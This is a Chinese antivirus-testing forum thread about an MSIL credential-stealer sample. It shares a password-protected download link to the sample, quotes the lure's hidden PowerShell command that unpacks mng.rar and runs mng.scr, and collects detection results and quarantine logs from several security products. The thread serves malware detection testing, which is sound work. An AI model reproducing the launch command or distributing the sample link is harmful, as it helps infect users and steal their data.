stealer 1x vt1/61

ulyanov2233

https://wormhole.app/1zP62y#iNqzZTaMBnYkQpkiTIgu0g 密码：infected 子压缩包的文件密码是：123
病毒样本上传者分享的攻击路径：hxxps://secured-install-manager.top/ -> powershell -w h -c "& 'C:\Program Files\WinRAR\WinRAR.exe' x -y -p123 -ibck \"%USERPROFILE%\Downloads\mng.rar\" \"%TEMP%\"; if($?){Start-Sleep 3;Start-Process \"%TEMP%\mng.scr\"}"
微步云恶意：https://s.threatbook.com/report/ ... d5a074202a367897153
vt1/61：https://www.virustotal.com/gui/f ... 367897153/detection攻击载荷vt28/72：VirusTotal - File - 5c630778d4787f86871e6d4391437363e7961fd82c88ef94f2dbeb589db2e551

munsimli

卡巴解壓殺

事件: 对象已删除
用户: DESKTOP-4HLDVIF\Home
用户类型: 发起者
应用程序名称: explorer.exe
应用程序路径: C:\WINDOWS
组件: 文件反病毒
结果描述: 已删除
类型: 木马
名称: HEUR:Trojan-Spy.MSIL.Noon.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: mng.scr
对象路径: C:\Users\Home\Desktop
对象的 MD5: 657B3E7AF5B34B794243E70F0CC3DA52

莒县小哥

ongarabazanade

1073328164

迈克菲 kill

飞翔的蒲公英

安天智甲：
其中压缩包未解密的情况下安天AI检测居然报毒Trojan.MSIL.Stealer，和解压后检出的报毒名又是另一个名……和华为乾坤早期刚出来的情况一样，病毒样本扫描一个报毒法，加密压缩后还能报毒，但另一种报毒法，这是AI引擎早期发展期特有的bug吗？


360杀毒：



为什么同样都是未解压的压缩包，上面的360安全卫士就拦截，360杀毒扫描就安全?

ulyanov2233

飞翔的蒲公英 发表于 2025-6-26 15:12
安天智甲：
安天AI检测：Trojan.MSIL.Stealer

这个压缩包还有一层密码。是123，隔着一层密码能测出来我感觉是云拉黑了

飞翔的蒲公英

ulyanov2233 发表于 2025-6-26 15:13
这个压缩包还有一层密码。是123，隔着一层密码能测出来我感觉是云拉黑了

它那个是ai引擎检测的，好像跟云不连接，但遇到两次加密病毒的压缩包被ai引擎报毒的情况，报毒名和具体样本还不一样，估计是他们ai引擎还没完全调教好。

1073328164

飞翔的蒲公英 发表于 2025-6-26 15:12
安天智甲：
安天AI检测：Trojan.MSIL.Stealer

因为现在360把蓝奏云和虫洞给拉黑了，这些网盘下载的文件会被直接报毒，我这边迈克菲也干过这种事，杀软不可能隔着加密压缩包把里面的样本检测出来的

UNknownOoo

火绒
扫描&运行均未检出，数据被窃取